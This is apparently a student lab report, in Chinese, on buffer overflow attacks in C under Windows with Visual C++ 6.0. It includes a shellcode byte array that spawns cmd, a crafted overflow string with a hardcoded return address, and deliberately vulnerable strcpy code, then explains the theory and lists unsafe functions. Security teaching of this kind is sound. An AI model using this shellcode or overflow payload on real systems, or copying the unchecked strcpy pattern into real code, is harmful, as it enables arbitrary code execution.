20191205張瀟——緩衝區溢位漏洞實驗
緩衝區溢位漏洞實驗
一、實驗目的:
該實驗為驗證性實驗,實驗目的如下:
1、掌握緩衝區溢位的基本原理;
2、掌握預防緩衝區溢位的方法,並且在實際程式設計中嚴格遵循這些方法。
二、實驗內容及步驟
1、理解緩衝區溢位的基本原理。
2、利用函式strcpy()程式設計實現一個簡單的緩衝區溢位例項。
3、總結預防緩衝區溢位的方法。
三、實驗要求
1、本實驗一人一組,程式語言為C。
2、要求學生掌握緩衝區溢位的基本原理,並熟練掌握C語言程式設計。
3、要求學生能夠程式設計實現一個簡單的緩衝區溢位例項。
四、實驗環境
計算機:Windows10、Visual C++ 6.0
五、具體實驗過程
程式碼1:利用函式
#include "stdafx.h" #include <stdio.h> #include <string.h> char shellcode3[] = "\x68\x72\x6F\x63\x41\x68\x47\x65" "\x74\x50\xE8\x41\x00\x00\x00\x50\x68\x4C\x69\x62\x72\x68\x4C\x6F" "\x61\x64\xE8\x31\x00\x00\x00\x50\x68\x72\x74\x00\x00\x68\x6D\x73" "\x76\x63\x54\xFF\xD0\x83\xC4\x08\x68\x65\x6D\x00\x00\x68\x73\x79" "\x73\x74\x54\x50\xFF\x54\x24\x14\x83\xC4\x08\x68\x63\x6D\x64\x00" "\x54\xFF\xD0\x83\xC4\x14\xEB\x67\x55\x8B\xEC\x64\xA1\x30\x00\x00" "\x00\x8B\x40\x0C\x8B\x40\x14\x8B\x00\x8B\x70\x28\x80\x7E\x0C\x33" "\x75\xF5\x8B\x40\x10\x8B\xF8\x03\x7F\x3C\x8B\x7F\x78\x03\xF8\x8B" "\xDF\x8B\x7B\x20\x03\xF8\x33\xC9\x8B\x34\x8F\x03\xF0\x41\x8B\x54" "\x24\x08\x39\x16\x75\xF2\x8B\x54\x24\x0C\x39\x56\x04\x75\xE9\x8B" "\x7B\x24\x03\xF8\x8B\x0C\x4F\x81\xE1\xFF\xFF\x00\x00\x8B\x7B\x1C" "\x03\xF8\x49\xC1\xE1\x02\x8B\x3C\x0F\x03\xC7\x5D\xC2\x08\x00"; #pragma comment(linker, "/section:.data,RWE") void Sub_3() { __asm { mov eax, offset shellcode3 jmp eax } } void overflow(const char* input) { char buf[8]; printf("Virtual address of 'buf' = Ox%p\n", buf); strcpy(buf, input); } void fun() { printf("Function 'fun' has been called without an explicitly invocation.\n"); printf("Buffer Overflow attack succeeded!\n"); } int main() { printf("Address of 'overflow' = Ox%p\n", overflow); printf("Sddress of 'fun' = Ox%p\n", fun); printf("Sddress of 'Sub3' = Ox%p\n", Sub_3); char input[] = "AAAbbbbbbaaa\xA5\x10\x41\x00"; //char input[] = "AAAAAAA"; overflow(input); return 0; }
編譯執行截圖:
先通過簡短字串找到溢位地址,然後修改字串填入地址。緩衝區溢位覆蓋記憶體地址,shellcode的功能是開啟cmd.
程式碼2:利用函式strcpy()程式設計實現一個簡單的緩衝區溢位例項
#include <stdio.h> #include <string.h> #include<stdlib.h> void function(char *input) ; void main(){ char c[500]; fgets(c,60,stdin); function(c); return; } void function(char* input){ char buffer[16]; strcpy(buffer,input); }
在實驗室利用緩衝區溢位造成程式執行異常
如下圖所示,我使用了strcpy函式在程式執行中輸入過長的字串(asdfasdfasdfasdf)使程式出現異常從而終止:
六、實驗驗證原理
1、緩衝區溢位概念:緩衝區溢位是指當計算機向緩衝區內填充資料位數時超過了緩衝區本身的容量,溢位的資料覆蓋在合法資料上,理想的情況是程式檢查資料長度並不允許輸入超過緩衝區長度的字元,但是絕大多數程式都會假設資料長度總是與所分配的儲存空間相匹配,這就為緩衝區溢位埋下隱患。作業系統所使用的緩衝區又被稱為“堆疊”。在各個操作程序之間,指令會被臨時儲存在“堆疊”當中,“堆疊”也會出現緩衝區溢位。
2、緩衝區溢位的基本原理:通過往程式的緩衝區寫超出其長度的內容,造成緩衝區的溢位,而破壞程式的堆疊,使程式轉而執行其它指令,以達到攻擊的目的。造成緩衝區溢位的原因是程式中沒有仔細檢查使用者輸入的引數。例如下面程式:
void function(char *str) { char buffer[16]; strcpy(buffer,str); }
上面的strcpy()直接把str中的內容複製到buffer中。這樣只要str的長度大於16,就會造成buffer的溢位,使程式執行出錯。存在像strcpy這樣的問題的標準函式還有strcat(),sprintf(),vsprintf(),gets(),scanf()等。
當然,隨便往緩衝區中填東西造成它溢位一般只會出現“分段錯誤”,而不能達到攻擊的目的。最常見的手段是通過製造緩衝區溢位使程式執行一個使用者shell,再通過shell執行其他命令。如果該程式屬於root且有suid許可權的話,攻擊者就獲得了一個有root許可權的shell,就可以對系統進行任意操作了。
七、實驗心得
通過本次實驗,我瞭解到緩衝區溢位是一種在各種作業系統、應用軟體中廣泛存在普遍且危險的漏洞,利用緩衝區溢位攻擊可以導致程式執行失敗、系統崩潰等後果。因此,如何及時有效地檢測出計算機網路系統入侵行為,已成為網路安全管理的一項重要內容。
通過自己編寫C程式碼實現緩衝區溢位,也發現了一些問題:一些程式碼理解需要藉助外界資料幫助,還需要進一步學習;許多保護機制等知識需要累積,在今後的學習中我會慢慢增長自己的知識儲備量,加深對系統的理解。
除此之外,通過分析返回地址的位置,從而將要跳轉的getshell函式或者是要注入的shellcode的返回地址都成功替換,並且跳轉。實驗內容完全對映到老師上課講解的內容,利用老師那個棧的圖,結合實驗,也更加清楚地掌握了緩衝區溢位攻擊的過程。